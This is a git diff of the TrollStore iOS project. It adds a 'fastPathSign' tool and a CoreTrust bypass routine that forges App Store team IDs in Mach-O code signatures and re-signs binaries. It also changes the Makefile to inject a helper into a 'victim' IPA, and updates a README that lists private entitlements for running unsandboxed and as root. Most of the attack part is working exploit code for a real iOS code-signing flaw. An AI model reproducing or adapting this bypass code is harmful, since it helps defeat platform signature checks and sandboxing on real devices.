char *appStoreTeamID = csd_code_directory_copy_team_id(appStoreCodeDirectoryBlob, NULL);
|
||||
if (!appStoreTeamID) {
|
||||
printf("Error: Unable to determine AppStore Team ID\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
// Set the team ID of the real code directory to the AppStore one
|
||||
if (csd_code_directory_set_team_id(realCodeDirBlob, appStoreTeamID) != 0) {
|
||||
printf("Error: Failed to set Team ID\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
printf("TeamID set to %s!\n", appStoreTeamID);
|
||||
free(appStoreTeamID);
|
||||
|
||||
// Set flags to 0 to remove any problematic flags (such as the 'adhoc' flag in bit 2)
|
||||
csd_code_directory_set_flags(realCodeDirBlob, 0);
|
||||
|
||||
int ret = 0;
|
||||
|
||||
// 6. Signature blob
|
||||
printf("Doing initial signing to calculate size...\n");
|
||||
ret = update_signature_blob(decodedSuperblob);
|
||||
if(ret == -1) {
|
||||
printf("Error: failed to create new signature blob!\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
printf("Encoding unsigned superblob...\n");
|
||||
CS_SuperBlob *encodedSuperblobUnsigned = csd_superblob_encode(decodedSuperblob);
|
||||
|
||||
printf("Updating load commands...\n");
|
||||
if (update_load_commands_for_coretrust_bypass(macho, encodedSuperblobUnsigned, originalCodeSignatureSize, memory_stream_get_size(macho->stream)) != 0) {
|
||||
printf("Error: failed to update load commands!\n");
|
||||
return -1;
|
||||
}
|
||||
free(encodedSuperblobUnsigned);
|
||||
|
||||
printf("Updating code slot hashes...\n");
|
||||
csd_code_directory_update(realCodeDirBlob, macho);
|
||||
|
||||
printf("Signing binary...\n");
|
||||
ret = update_signature_blob(decodedSuperblob);
|
||||
if(ret == -1) {
|
||||
printf("Error: failed to create new signature blob!\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
printf("Encoding signed superblob...\n");
|
||||
CS_SuperBlob *newSuperblob = csd_superblob_encode(decodedSuperblob);
|
||||
|
||||
printf("Writing superblob to MachO...\n");
|
||||
// Write the new signed superblob to the MachO
|
||||
macho_replace_code_signature(macho, newSuperblob);
|
||||
|
||||
csd_superblob_free(decodedSuperblob);
|
||||
free(newSuperblob);
|
||||
|
||||
macho_free(macho);
|
||||
return 0;
|
||||
}
|
1
Exploits/fastPathSign/src/coretrust_bug.h
Normal file
@ -0,0 +1 @@
|
||||
int apply_coretrust_bypass(const char *machoPath);
|
107
Exploits/fastPathSign/src/main.m
Normal file
@ -0,0 +1,107 @@
|
||||
#include "codesign.h"
|
||||
#include "coretrust_bug.h"
|
||||
#include "FAT.h"
|
||||
#include "MachO.h"
|
||||
#include "FileStream.h"
|
||||
#include "Host.h"
|
||||
#include <copyfile.h>
|
||||
|
||||
#define CPU_SUBTYPE_ARM64E_ABI_V2 0x80000000
|
||||
|
||||
char *extract_preferred_slice(const char *fatPath)
|
||||
{
|
||||
FAT *fat = fat_init_from_path(fatPath);
|
||||
if (!fat) return NULL;
|
||||
MachO *macho = fat_find_preferred_slice(fat);
|
||||
|
||||
#if TARGET_OS_MAC && !TARGET_OS_IPHONE
|
||||
if (!macho) {
|
||||
// Check for arm64v8 first
|
||||
macho = fat_find_slice(fat, CPU_TYPE_ARM64, CPU_SUBTYPE_ARM64_V8);
|
||||
if (!macho) {
|
||||
// If that fails, check for regular arm64
|
||||
macho = fat_find_slice(fat, CPU_TYPE_ARM64, CPU_SUBTYPE_ARM64_ALL);
|
||||
if (!macho) {
|
||||
// If that fails, check for arm64e with ABI v2
|
||||
macho = fat_find_slice(fat, CPU_TYPE_ARM64, CPU_SUBTYPE_ARM64E | CPU_SUBTYPE_ARM64E_ABI_V2);
|
||||
if (!macho) {
|
||||
// If that fails, check for arm64e
|
||||
macho = fat_find_slice(fat, CPU_TYPE_ARM64, CPU_SUBTYPE_ARM64E);
|
||||
if (!macho) {
|
||||
fat_free(fat);
|
||||
return NULL;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
#else
|
||||
if (!macho) {
|
||||
fat_free(fat);
|
||||
return NULL;
|
||||
}
|
||||
#endif // TARGET_OS_MAC && !TARGET_OS_IPHONE
|
||||
|
||||
char *temp = strdup("/tmp/XXXXXX");
|
||||
int fd = mkstemp(temp);
|
||||
|
||||
MemoryStream *outStream = file_stream_init_from_path(temp, 0, 0, FILE_STREAM_FLAG_WRITABLE | FILE_STREAM_FLAG_AUTO_EXPAND);
|
||||
MemoryStream *machoStream = macho_get_stream(macho);
|
||||
memory_stream_copy_data(machoStream, 0, outStream, 0, memory_stream_get_size(machoStream));
|
||||
|
||||
fat_free(fat);
|
||||
memory_stream_free(outStream);
|
||||
close(fd);
|
||||
return temp;
|
||||
}
|
||||
|
||||
|
||||
int main(int argc, char *argv[]) {
|
||||
if (argc < 2) return -1;
|
||||
|
||||
char *input = argv[argc-1];
|
||||
|
||||
NSDictionary *customEntitlements = nil;
|
||||
if (argc == 4) {
|
||||
if (!strcmp(argv[1], "--entitlements")) {
|
||||
NSString *entitlementsPath = [NSString stringWithUTF8String:argv[2]];
|
||||
customEntitlements = [NSDictionary dictionaryWithContentsOfFile:entitlementsPath];
|
||||
}
|
||||
}
|
||||
|
||||
int r = codesign_sign_adhoc(input, true, customEntitlements);
|
||||
if (r != 0) {
|
||||
printf("Failed adhoc signing (%d) Continuing anyways...\n", r);
|
||||
}
|
||||
else {
|
||||
printf("AdHoc signed file!\n");
|
||||
}
|
||||
|
||||
char *machoPath = extract_preferred_slice(input);
|
||||
if (!machoPath) {
|
||||
printf("Failed extracting best slice\n");
|
||||
return -1;
|
||||
}
|
||||
printf("Extracted best slice to %s\n", machoPath);
|
||||
|
||||
printf("Applying CoreTrust bypass...\n");
|
||||
|
||||
r = apply_coretrust_bypass(machoPath);
|
||||
|
||||
if (r != 0) {
|
||||
printf("Failed applying CoreTrust bypass\n");
|
||||
return r;
|
||||
}
|
||||
|
||||
if (copyfile(machoPath, input, 0, COPYFILE_ALL | COPYFILE_MOVE | COPYFILE_UNLINK) == 0) {
|
||||
chmod(input, 0755);
|
||||
printf("Applied CoreTrust Bypass!\n");
|
||||
}
|
||||
else {
|
||||
perror("copyfile");
|
||||
return -1;
|
||||
}
|
||||
|
||||
free(machoPath);
|
||||
return 0;
|
||||
}
|
4
LICENSE
@ -4,13 +4,13 @@ Upstream-Contact: opa334 <opa334@protonmail.com>
|
||||
Source: https://github.com/opa334/TrollStore
|
||||
|
||||
Files: *
|
||||
Copyright: 2022 Lars Fröder
|
||||
Copyright: 2022-2024 Lars Fröder
|
||||
License: MIT
|
||||
|
||||
Files: RootHelper/uicache.m
|
||||
Copyright: Copyright (c) 2019 CoolStar,
|
||||
Modified work Copyright (c) 2020-2022 Procursus Team <team@procurs.us>
|
||||
Modified work Copyright (c) 2022 Lars Fröder <opa334@protonmail.com>
|
||||
Modified work Copyright (c) 2022-2024 Lars Fröder <opa334@protonmail.com>
|
||||
License: BSD-4-Clause
|
||||
|
||||
License: BSD-4-Clause
|
||||
|
117
Makefile
@ -1,68 +1,93 @@
|
||||
TOPTARGETS := all clean
|
||||
TOPTARGETS := all clean update
|
||||
|
||||
$(TOPTARGETS): pre_build make_roothelper make_trollstore make_trollhelper make_trollhelper_package assemble_trollstore make_trollhelper_embedded build_installer15 build_installer64e
|
||||
$(TOPTARGETS): pre_build make_fastPathSign make_roothelper make_trollstore make_trollhelper_embedded make_trollhelper_package assemble_trollstore build_installer15 build_installer64e make_trollstore_lite
|
||||
|
||||
pre_build:
|
||||
@rm -rf ./_build 2>/dev/null || true
|
||||
@mkdir -p ./_build
|
||||
@rm -rf ./_build 2>/dev/null || true
|
||||
@mkdir -p ./_build
|
||||
|
||||
make_fastPathSign:
|
||||
@$(MAKE) -C ./Exploits/fastPathSign $(MAKECMDGOALS)
|
||||
|
||||
make_roothelper:
|
||||
@$(MAKE) -C ./RootHelper FINALPACKAGE=1 $(MAKECMDGOALS)
|
||||
@$(MAKE) -C ./RootHelper DEBUG=0 $(MAKECMDGOALS)
|
||||
|
||||
make_trollstore:
|
||||
@$(MAKE) -C ./TrollStore FINALPACKAGE=1 $(MAKECMDGOALS)
|
||||
|
||||
make_trollhelper:
|
||||
@$(MAKE) -C ./TrollStore FINALPACKAGE=1 $(MAKECMDGOALS)
|
||||
@$(MAKE) -C ./TrollStore FINALPACKAGE=1 $(MAKECMDGOALS)
|
||||
|
||||
ifneq ($(MAKECMDGOALS),clean)
|
||||
|
||||
make_trollhelper_package:
|
||||
@$(MAKE) clean -C ./TrollHelper
|
||||
@cp ./RootHelper/.theos/obj/trollstorehelper ./TrollHelper/Resources/trollstorehelper
|
||||
@$(MAKE) -C ./TrollHelper FINALPACKAGE=1 package $(MAKECMDGOALS)
|
||||
@rm ./TrollHelper/Resources/trollstorehelper
|
||||
@$(MAKE) clean -C ./TrollHelper
|
||||
@cp ./RootHelper/.theos/obj/trollstorehelper ./TrollHelper/Resources/trollstorehelper
|
||||
@$(MAKE) -C ./TrollHelper FINALPACKAGE=1 package $(MAKECMDGOALS)
|
||||
@$(MAKE) clean -C ./TrollHelper
|
||||
@$(MAKE) -C ./TrollHelper THEOS_PACKAGE_SCHEME=rootless FINALPACKAGE=1 package $(MAKECMDGOALS)
|
||||
@rm ./TrollHelper/Resources/trollstorehelper
|
||||
|
||||
make_trollhelper_embedded:
|
||||
@$(MAKE) clean -C ./TrollHelper
|
||||
@$(MAKE) -C ./TrollHelper FINALPACKAGE=1 EMBEDDED_ROOT_HELPER=1 $(MAKECMDGOALS)
|
||||
@$(MAKE) clean -C ./TrollHelper
|
||||
@$(MAKE) -C ./TrollHelper FINALPACKAGE=1 EMBEDDED_ROOT_HELPER=1 $(MAKECMDGOALS)
|
||||
@cp ./TrollHelper/.theos/obj/TrollStorePersistenceHelper.app/TrollStorePersistenceHelper ./_build/PersistenceHelper_Embedded
|
||||
@$(MAKE) clean -C ./TrollHelper
|
||||
@$(MAKE) -C ./TrollHelper FINALPACKAGE=1 EMBEDDED_ROOT_HELPER=1 LEGACY_CT_BUG=1 $(MAKECMDGOALS)
|
||||
@cp ./TrollHelper/.theos/obj/TrollStorePersistenceHelper.app/TrollStorePersistenceHelper ./_build/PersistenceHelper_Embedded_Legacy_arm64
|
||||
@$(MAKE) clean -C ./TrollHelper
|
||||
@$(MAKE) -C ./TrollHelper FINALPACKAGE=1 EMBEDDED_ROOT_HELPER=1 CUSTOM_ARCHS=arm64e $(MAKECMDGOALS)
|
||||
@cp ./TrollHelper/.theos/obj/TrollStorePersistenceHelper.app/TrollStorePersistenceHelper ./_build/PersistenceHelper_Embedded_Legacy_arm64e
|
||||
@$(MAKE) clean -C ./TrollHelper
|
||||
|
||||
assemble_trollstore:
|
||||
@cp cert.p12 ./TrollStore/.theos/obj/TrollStore.app/cert.p12
|
||||
@cp ./RootHelper/.theos/obj/trollstorehelper ./TrollStore/.theos/obj/TrollStore.app/trollstorehelper
|
||||
@cp ./TrollHelper/.theos/obj/TrollStorePersistenceHelper.app/TrollStorePersistenceHelper ./TrollStore/.theos/obj/TrollStore.app/PersistenceHelper
|
||||
@export COPYFILE_DISABLE=1
|
||||
@tar -czvf ./_build/TrollStore.tar -C ./TrollStore/.theos/obj TrollStore.app
|
||||
@cp ./RootHelper/.theos/obj/trollstorehelper ./TrollStore/.theos/obj/TrollStore.app/trollstorehelper
|
||||
@cp ./TrollHelper/.theos/obj/TrollStorePersistenceHelper.app/TrollStorePersistenceHelper ./TrollStore/.theos/obj/TrollStore.app/PersistenceHelper
|
||||
@export COPYFILE_DISABLE=1
|
||||
@tar -czvf ./_build/TrollStore.tar -C ./TrollStore/.theos/obj TrollStore.app
|
||||
|
||||
build_installer15:
|
||||
@mkdir -p ./_build/tmp15
|
||||
@unzip ./Victim/InstallerVictim.ipa -d ./_build/tmp15
|
||||
@cp ./TrollHelper/.theos/obj/TrollStorePersistenceHelper.app/TrollStorePersistenceHelper ./_build/TrollStorePersistenceHelperToInject
|
||||
@pwnify set-cpusubtype ./_build/TrollStorePersistenceHelperToInject 1
|
||||
@ldid -s -K./Victim/victim.p12 ./_build/TrollStorePersistenceHelperToInject
|
||||
APP_PATH=$$(find ./_build/tmp15/Payload -name "*" -depth 1) ; \
|
||||
APP_NAME=$$(basename $$APP_PATH) ; \
|
||||
BINARY_NAME=$$(echo "$$APP_NAME" | cut -f 1 -d '.') ; \
|
||||
echo $$BINARY_NAME ; \
|
||||
pwnify pwn ./_build/tmp15/Payload/$$APP_NAME/$$BINARY_NAME ./_build/TrollStorePersistenceHelperToInject
|
||||
@pushd ./_build/tmp15 ; \
|
||||
zip -vrD ../../_build/TrollHelper_iOS15.ipa * ; \
|
||||
popd
|
||||
@rm ./_build/TrollStorePersistenceHelperToInject
|
||||
@rm -rf ./_build/tmp15
|
||||
@mkdir -p ./_build/tmp15
|
||||
@unzip ./Victim/InstallerVictim.ipa -d ./_build/tmp15
|
||||
@cp ./_build/PersistenceHelper_Embedded_Legacy_arm64 ./_build/TrollStorePersistenceHelperToInject
|
||||
@pwnify set-cpusubtype ./_build/TrollStorePersistenceHelperToInject 1
|
||||
@ldid -s -K./Victim/victim.p12 ./_build/TrollStorePersistenceHelperToInject
|
||||
APP_PATH=$$(find ./_build/tmp15/Payload -name "*" -depth 1) ; \
|
||||
APP_NAME=$$(basename $$APP_PATH) ; \
|
||||
BINARY_NAME=$$(echo "$$APP_NAME" | cut -f 1 -d '.') ; \
|
||||
echo $$BINARY_NAME ; \
|
||||
pwnify pwn ./_build/tmp15/Payload/$$APP_NAME/$$BINARY_NAME ./_build/TrollStorePersistenceHelperToInject
|
||||
@pushd ./_build/tmp15 ; \
|
||||
zip -vrD ../../_build/TrollHelper_iOS15.ipa * ; \
|
||||
popd
|
||||
@rm ./_build/TrollStorePersistenceHelperToInject
|
||||
@rm -rf ./_build/tmp15
|
||||
|
||||
build_installer64e:
|
||||
@mkdir -p ./_build/tmp64e
|
||||
@unzip ./Victim/InstallerVictim.ipa -d ./_build/tmp64e
|
||||
APP_PATH=$$(find ./_build/tmp64e/Payload -name "*" -depth 1) ; \
|
||||
APP_NAME=$$(basename $$APP_PATH) ; \
|
||||
BINARY_NAME=$$(echo "$$APP_NAME" | cut -f 1 -d '.') ; \
|
||||
echo $$BINARY_NAME ; \
|
||||
pwnify pwn64e ./_build/tmp64e/Payload/$$APP_NAME/$$BINARY_NAME ./TrollHelper/.theos/obj/TrollStorePersistenceHelper.app/TrollStorePersistenceHelper
|
||||
@pushd ./_build/tmp64e ; \
|
||||
zip -vrD ../../_build/TrollHelper_arm64e.ipa * ; \
|
||||
popd
|
||||
@rm -rf ./_build/tmp64e
|
||||
@mkdir -p ./_build/tmp64e
|
||||
@unzip ./Victim/InstallerVictim.ipa -d ./_build/tmp64e
|
||||
APP_PATH=$$(find ./_build/tmp64e/Payload -name "*" -depth 1) ; \
|
||||
APP_NAME=$$(basename $$APP_PATH) ; \
|
||||
BINARY_NAME=$$(echo "$$APP_NAME" | cut -f 1 -d '.') ; \
|
||||
echo $$BINARY_NAME ; \
|
||||
pwnify pwn64e ./_build/tmp64e/Payload/$$APP_NAME/$$BINARY_NAME ./_build/PersistenceHelper_Embedded_Legacy_arm64e
|
||||
@pushd ./_build/tmp64e ; \
|
||||
zip -vrD ../../_build/TrollHelper_arm64e.ipa * ; \
|
||||
popd
|
||||
@rm -rf ./_build/tmp64e
|
||||
|
||||
make_trollstore_lite:
|
||||
@$(MAKE) -C ./RootHelper DEBUG=0 TROLLSTORE_LITE=1
|
||||
@rm -rf ./TrollStoreLite/Resources/trollstorehelper
|
||||
@cp ./RootHelper/.theos/obj/trollstorehelper_lite ./TrollStoreLite/Resources/trollstorehelper
|
||||
@$(MAKE) -C ./TrollStoreLite package FINALPACKAGE=1
|
||||
@$(MAKE) -C ./RootHelper TROLLSTORE_LITE=1 clean
|
||||
@$(MAKE) -C ./TrollStoreLite clean
|
||||
@$(MAKE) -C ./RootHelper DEBUG=0 TROLLSTORE_LITE=1 THEOS_PACKAGE_SCHEME=rootless
|
||||
@rm -rf ./TrollStoreLite/Resources/trollstorehelper
|
||||
@cp ./RootHelper/.theos/obj/trollstorehelper_lite ./TrollStoreLite/Resources/trollstorehelper
|
||||
@$(MAKE) -C ./TrollStoreLite package FINALPACKAGE=1 THEOS_PACKAGE_SCHEME=rootless
|
||||
|
||||
else
|
||||
make_trollstore_lite:
|
||||
@$(MAKE) -C ./TrollStoreLite $(MAKECMDGOALS)
|
||||
endif
|
||||
|
||||
.PHONY: $(TOPTARGETS) pre_build assemble_trollstore make_trollhelper_package make_trollhelper_embedded build_installer15 build_installer64e
|
64
README.md
@ -2,25 +2,15 @@
|
||||
|
||||
TrollStore is a permasigned jailed app that can permanently install any IPA you open in it.
|
||||
|
||||
It works because of an AMFI/CoreTrust bug where iOS doesn't verify whether or not a root certificate used to sign a binary is legit.
|
||||
It works because of an AMFI/CoreTrust bug where iOS does not correctly verify code signatures of binaries in which there are multiple signers.
|
||||
|
||||
Supported versions: 14.0 beta 2 - 16.6.1, 16.7 RC (20H18), 17.0
|
||||
|
||||
## Installing TrollStore
|
||||
|
||||
### Installation Guides
|
||||
For installing TrollStore, refer to the guides at [ios.cfw.guide](https://ios.cfw.guide/installing-trollstore)
|
||||
|
||||
| Version / Device | arm64 (A8 - A11) | arm64e (A12 - A15, M1) |
|
||||
| --- | --- | --- |
|
||||
| 13.7 and below | Not Supported | Not Supported |
|
||||
| 14.0 - 14.8.1 | [checkra1n + TrollHelper](./install_trollhelper.md) | [TrollHelperOTA (arm64e)](./install_trollhelperota_arm64e.md) |
|
||||
| 15.0 - 15.4.1 | [TrollHelperOTA (iOS 15+)](./install_trollhelperota_ios15.md) | [TrollHelperOTA (iOS 15+)](./install_trollhelperota_ios15.md) |
|
||||
| 15.5 beta 1 - 4 | [TrollHelperOTA (iOS 15+)](./install_trollhelperota_ios15.md) | [TrollHelperOTA (iOS 15+)](./install_trollhelperota_ios15.md) |
|
||||
| 15.5 RC | Not Supported | Not Supported |
|
||||
| 15.5 | Not Supported | Not Supported |
|
||||
| 15.6 beta 1 - 5 | [SSH Ramdisk](./install_sshrd.md) | [TrollHelperOTA (arm64e)](./install_trollhelperota_arm64e.md) |
|
||||
| 15.6 RC1/2 | Not Supported | Not Supported |
|
||||
| 15.6 and above | Not Supported | Not Supported |
|
||||
|
||||
This version table is final, TrollStore will never support anything other than the versions listed here. Do not bother asking, if you got a device on an unsupported version, it's best if you forget TrollStore even exists.
|
||||
16.7.x (excluding 16.7 RC) and 17.0.1+ will NEVER be supported (unless a third CoreTrust bug is discovered, which is unlikely).
|
||||
|
||||
## Updating TrollStore
|
||||
|
||||
@ -30,7 +20,7 @@ Alternatively (if anything goes wrong), you can download the TrollStore.tar file
|
||||
|
||||
## Uninstalling an app
|
||||
|
||||
Apps installed from TrollStore can only be uninstalled from TrollStore itself, tap an app or swipe it to the right in the 'Apps' tab to delete it.
|
||||
Apps installed from TrollStore can only be uninstalled from TrollStore itself, tap an app or swipe it to the left in the 'Apps' tab to delete it.
|
||||
|
||||
## Persistence Helper
|
||||
|
||||
@ -42,9 +32,10 @@ On jailbroken iOS 14 when TrollHelper is used for installation, it is located in
|
||||
|
||||
## URL Scheme
|
||||
|
||||
As of version 1.3, TrollStore replaces the system URL scheme "apple-magnifier" (this is done so "jailbreak" detections can't detect TrollStore like they could if TrollStore had a unique URL scheme). This URL scheme can be used to install applications right from the browser, the format goes as follows:
|
||||
As of version 1.3, TrollStore replaces the system URL scheme "apple-magnifier" (this is done so "jailbreak" detections can't detect TrollStore like they could if TrollStore had a unique URL scheme). This URL scheme can be used to install applications right from the browser, or to enable JIT from the app itself (only 2.0.12 and above), the format goes as follows:
|
||||
|
||||
`apple-magnifier://install?url=<URL_to_IPA>`
|
||||
- `apple-magnifier://install?url=<URL_to_IPA>`
|
||||
- `apple-magnifier://enable-jit?bundle-id=<Bundle_ID>`
|
||||
|
||||
On devices that don't have TrollStore (1.3+) installed, this will just open the magnifier app.
|
||||
|
||||
@ -66,17 +57,17 @@ iOS 15 on A12+ has banned the following three entitlements related to running un
|
||||
|
||||
Your app can run unsandboxed using one of the following entitlements:
|
||||
|
||||
```
|
||||
```xml
|
||||
<key>com.apple.private.security.container-required</key>
|
||||
<false/>
|
||||
```
|
||||
|
||||
```
|
||||
```xml
|
||||
<key>com.apple.private.security.no-container</key>
|
||||
<true/>
|
||||
```
|
||||
|
||||
```
|
||||
```xml
|
||||
<key>com.apple.private.security.no-sandbox</key>
|
||||
<true/>
|
||||
```
|
||||
@ -85,36 +76,51 @@ The third one is recommended if you still want a sandbox container for your appl
|
||||
|
||||
You might also need the platform-application entitlement in order for these to work properly:
|
||||
|
||||
```
|
||||
```xml
|
||||
<key>platform-application</key>
|
||||
<true/>
|
||||
```
|
||||
|
||||
Please note that the platform-application entitlement causes side effects such as some parts of the sandbox becoming tighter, so you may need additional private entitlements to circumvent that. (For example afterwards you need an exception entitlement for every single IOKit user client class you want to access).
|
||||
|
||||
In order for an app with `com.apple.private.security.no-sandbox` and `platform-application` to be able to access it's own data container, you might need the additional entitlement:
|
||||
|
||||
```xml
|
||||
<key>com.apple.private.security.storage.AppDataContainers</key>
|
||||
<true/>
|
||||
```
|
||||
|
||||
### Root Helpers
|
||||
|
||||
When your app is not sandboxed, you can spawn other binaries using posix_spawn, you can also spawn binaries as root with the following entitlement:
|
||||
|
||||
```
|
||||
```xml
|
||||
<key>com.apple.private.persona-mgmt</key>
|
||||
<true/>
|
||||
```
|
||||
|
||||
You can also add your own binaries into your app bundle.
|
||||
|
||||
Afterwards you can use the [spawnRoot function in TSUtil.m](./Shared/TSUtil.m#L74) to spawn the binary as root.
|
||||
Afterwards you can use the [spawnRoot function in TSUtil.m](./Shared/TSUtil.m#L79) to spawn the binary as root.
|
||||
|
||||
### Things that are not possible using TrollStore
|
||||
|
||||
- Getting proper platformization / `CS_PLATFORMIZED`
|
||||
- Getting proper platformization (`TF_PLATFORM` / `CS_PLATFORMIZED`)
|
||||
- Spawning a launch daemon (Would need `CS_PLATFORMIZED`)
|
||||
- Injecting a tweak into a system process (Would need `CS_PLATFORMIZED`, a userland PAC bypass and a PMAP trust level bypass)
|
||||
- Injecting a tweak into a system process (Would need `TF_PLATFORM`, a userland PAC bypass and a PMAP trust level bypass)
|
||||
|
||||
### Compilation
|
||||
|
||||
To compile TrollStore, ensure [theos](https://theos.dev/docs/installation) is installed. Additionaly ensure [brew](https://brew.sh/) is installed and install [libarchive](https://formulae.brew.sh/formula/libarchive) from brew.
|
||||
|
||||
## Credits and Further Reading
|
||||
|
||||
[@LinusHenze](https://twitter.com/LinusHenze/) - Found the CoreTrust bug that allows TrollStore to work.
|
||||
[@alfiecg_dev](https://twitter.com/alfiecg_dev/) - Found the CoreTrust bug that allows TrollStore to work through patchdiffing and worked on automating the bypass.
|
||||
|
||||
[Fugu15 Presentation](https://youtu.be/NIyKNjNNB5Q?t=3046)
|
||||
Google Threat Analysis Group - Found the CoreTrust bug as part of an in-the-wild spyware chain and reported it to Apple.
|
||||
|
||||
[Write-Up on the CoreTrust bug with more information](https://worthdoingbadly.com/coretrust/).
|
||||
[@LinusHenze](https://twitter.com/LinusHenze) - Found the installd bypass used to install TrollStore on iOS 14-15.6.1 via TrollHelperOTA, as well as the original CoreTrust bug used in TrollStore 1.0.
|
||||
|
||||
[Fugu15 Presentation](https://youtu.be/rPTifU1lG7Q)
|
||||
|
||||
[Write-Up on the first CoreTrust bug with more information](https://worthdoingbadly.com/coretrust/).
|
||||
|
@ -1,15 +1,36 @@
|
||||
TARGET := iphone:clang:14.5:14.0
|
||||
TARGET := iphone:clang:16.5:14.0
|
||||
ARCHS = arm64
|
||||
|
||||
ifdef TROLLSTORE_LITE
|
||||
HELPER_NAME = trollstorehelper_lite
|
||||
else
|
||||
HELPER_NAME = trollstorehelper
|
||||
TARGET_CODESIGN = ../Exploits/fastPathSign/fastPathSign
|
||||
endif
|
||||
|
||||
include $(THEOS)/makefiles/common.mk
|
||||
|
||||
TOOL_NAME = trollstorehelper
|
||||
TOOL_NAME = $(HELPER_NAME)
|
||||
|
||||
trollstorehelper_FILES = $(wildcard *.m) $(wildcard ../Shared/*.m)
|
||||
trollstorehelper_CFLAGS = -fobjc-arc -I../Shared
|
||||
trollstorehelper_CODESIGN_FLAGS = -Sentitlements.plist -K../cert.p12
|
||||
trollstorehelper_INSTALL_PATH = /usr/local/bin
|
||||
trollstorehelper_LIBRARIES = archive
|
||||
trollstorehelper_PRIVATE_FRAMEWORKS = SpringBoardServices BackBoardServices
|
||||
$(HELPER_NAME)_FILES = $(wildcard *.m) $(wildcard ../Shared/*.m) $(wildcard ../ChOma/src/*.c)
|
||||
|
||||
ifndef TROLLSTORE_LITE
|
||||
$(HELPER_NAME)_FILES += ../Exploits/fastPathSign/src/coretrust_bug.c ../Exploits/fastPathSign/src/codesign.m
|
||||
$(HELPER_NAME)_CODESIGN_FLAGS = --entitlements entitlements.plist
|
||||
$(HELPER_NAME)_LDFLAGS = -L../ChOma/external/ios -lcrypto
|
||||
else
|
||||
$(HELPER_NAME)_CODESIGN_FLAGS = -Sentitlements.plist
|
||||
endif
|
||||
|
||||
$(HELPER_NAME)_CFLAGS = -fobjc-arc -I../Shared $(shell pkg-config --cflags libcrypto) -I../ChOma/src -I../Exploits/fastPathSign/src -I$(shell brew --prefix)/opt/libarchive/include
|
||||
|
||||
$(HELPER_NAME)_INSTALL_PATH = /usr/local/bin
|
||||
$(HELPER_NAME)_LIBRARIES = archive
|
||||
$(HELPER_NAME)_FRAMEWORKS = CoreTelephony
|
||||
$(HELPER_NAME)_PRIVATE_FRAMEWORKS = SpringBoardServices BackBoardServices MobileContainerManager FrontBoardServices RunningBoardServices
|
||||
|
||||
ifdef TROLLSTORE_LITE
|
||||
$(HELPER_NAME)_CFLAGS += -DTROLLSTORE_LITE -DDISABLE_SIGNING=1
|
||||
endif
|
||||
|
||||
include $(THEOS_MAKE_PATH)/tool.mk
|
||||
|
@ -1,6 +1,6 @@
|
||||
Package: com.opa334.trollstoreroothelper
|
||||
Name: trollstoreroothelper
|
||||
Version: 1.4.2
|
||||
Version: 2.1
|
||||
Architecture: iphoneos-arm
|
||||
Description: An awesome tool of some sort!!
|
||||
Maintainer: opa334
|
||||
|
4
RootHelper/devmode.h
Normal file
@ -0,0 +1,4 @@
|
||||
#import <Foundation/Foundation.h>
|
||||
|
||||
BOOL checkDeveloperMode(void);
|
||||
BOOL armDeveloperMode(BOOL* alreadyEnabled);
|
145
RootHelper/devmode.m
Normal file
@ -0,0 +1,145 @@
|
||||
@import Foundation;
|
||||
|
||||
#ifndef __XPC_H__
|
||||
// Types
|
||||
typedef NSObject* xpc_object_t;
|
||||
typedef xpc_object_t xpc_connection_t;
|
||||
typedef void (^xpc_handler_t)(xpc_object_t object);
|
||||
|
||||
// Communication
|
||||
extern xpc_connection_t xpc_connection_create_mach_service(const char* name, dispatch_queue_t targetq, uint64_t flags);
|
||||
extern void xpc_connection_set_event_handler(xpc_connection_t connection, xpc_handler_t handler);
|
||||
extern void xpc_connection_resume(xpc_connection_t connection);
|
||||
extern void xpc_connection_send_message_with_reply(xpc_connection_t connection, xpc_object_t message, dispatch_queue_t replyq, xpc_handler_t handler);
|
||||
extern xpc_object_t xpc_connection_send_message_with_reply_sync(xpc_connection_t connection, xpc_object_t message);
|
||||
extern xpc_object_t xpc_dictionary_get_value(xpc_object_t xdict, const char *key);
|
||||
#endif
|
||||
|
||||
// Serialization
|
||||
extern CFTypeRef _CFXPCCreateCFObjectFromXPCObject(xpc_object_t xpcattrs);
|
||||
extern xpc_object_t _CFXPCCreateXPCObjectFromCFObject(CFTypeRef attrs);
|
||||
extern xpc_object_t _CFXPCCreateXPCMessageWithCFObject(CFTypeRef obj);
|
||||
extern CFTypeRef _CFXPCCreateCFObjectFromXPCMessage(xpc_object_t obj);
|
||||
|
||||
|
||||
typedef enum {
|
||||
kAMFIActionArm = 0, // Trigger a prompt asking the user to enable developer mode on the next reboot
|
||||
// (regardless of current state)
|
||||
kAMFIActionDisable = 1, // Disable developer mode if it's currently enabled. Takes effect immediately.
|
||||
kAMFIActionStatus = 2, // Returns a dict: {success: bool, status: bool, armed: bool}
|
||||
} AMFIXPCAction;
|
||||
|
||||
xpc_connection_t startConnection(void) {
|
||||
xpc_connection_t connection = xpc_connection_create_mach_service("com.apple.amfi.xpc", NULL, 0);
|
||||
if (!connection) {
|
||||
NSLog(@"[startXPCConnection] Failed to create XPC connection to amfid");
|
||||
return nil;
|
||||
}
|
||||
xpc_connection_set_event_handler(connection, ^(xpc_object_t event) {
|
||||
});
|
||||
xpc_connection_resume(connection);
|
||||
return connection;
|
||||
}
|
||||
|
||||
NSDictionary* sendXPCRequest(xpc_connection_t connection, AMFIXPCAction action) {
|
||||
xpc_object_t message = _CFXPCCreateXPCMessageWithCFObject((__bridge CFDictionaryRef) @{@"action": @(action)});
|
||||
xpc_object_t replyMsg = xpc_connection_send_message_with_reply_sync(connection, message);
|
||||
if (!replyMsg) {
|
||||
NSLog(@"[sendXPCRequest] got no reply from amfid");
|
||||
return nil;
|
||||
}
|
||||
|
||||
xpc_object_t replyObj = xpc_dictionary_get_value(replyMsg, "cfreply");
|
||||
if (!replyObj) {
|
||||
NSLog(@"[sendXPCRequest] got reply but no cfreply");
|
||||
return nil;
|
||||
}
|
||||
|
||||
NSDictionary* asCF = (__bridge NSDictionary*)_CFXPCCreateCFObjectFromXPCMessage(replyObj);
|
||||
return asCF;
|
||||
}
|
||||
|
||||
BOOL getDeveloperModeState(xpc_connection_t connection) {
|
||||
NSDictionary* reply = sendXPCRequest(connection, kAMFIActionStatus);
|
||||
if (!reply) {
|
||||
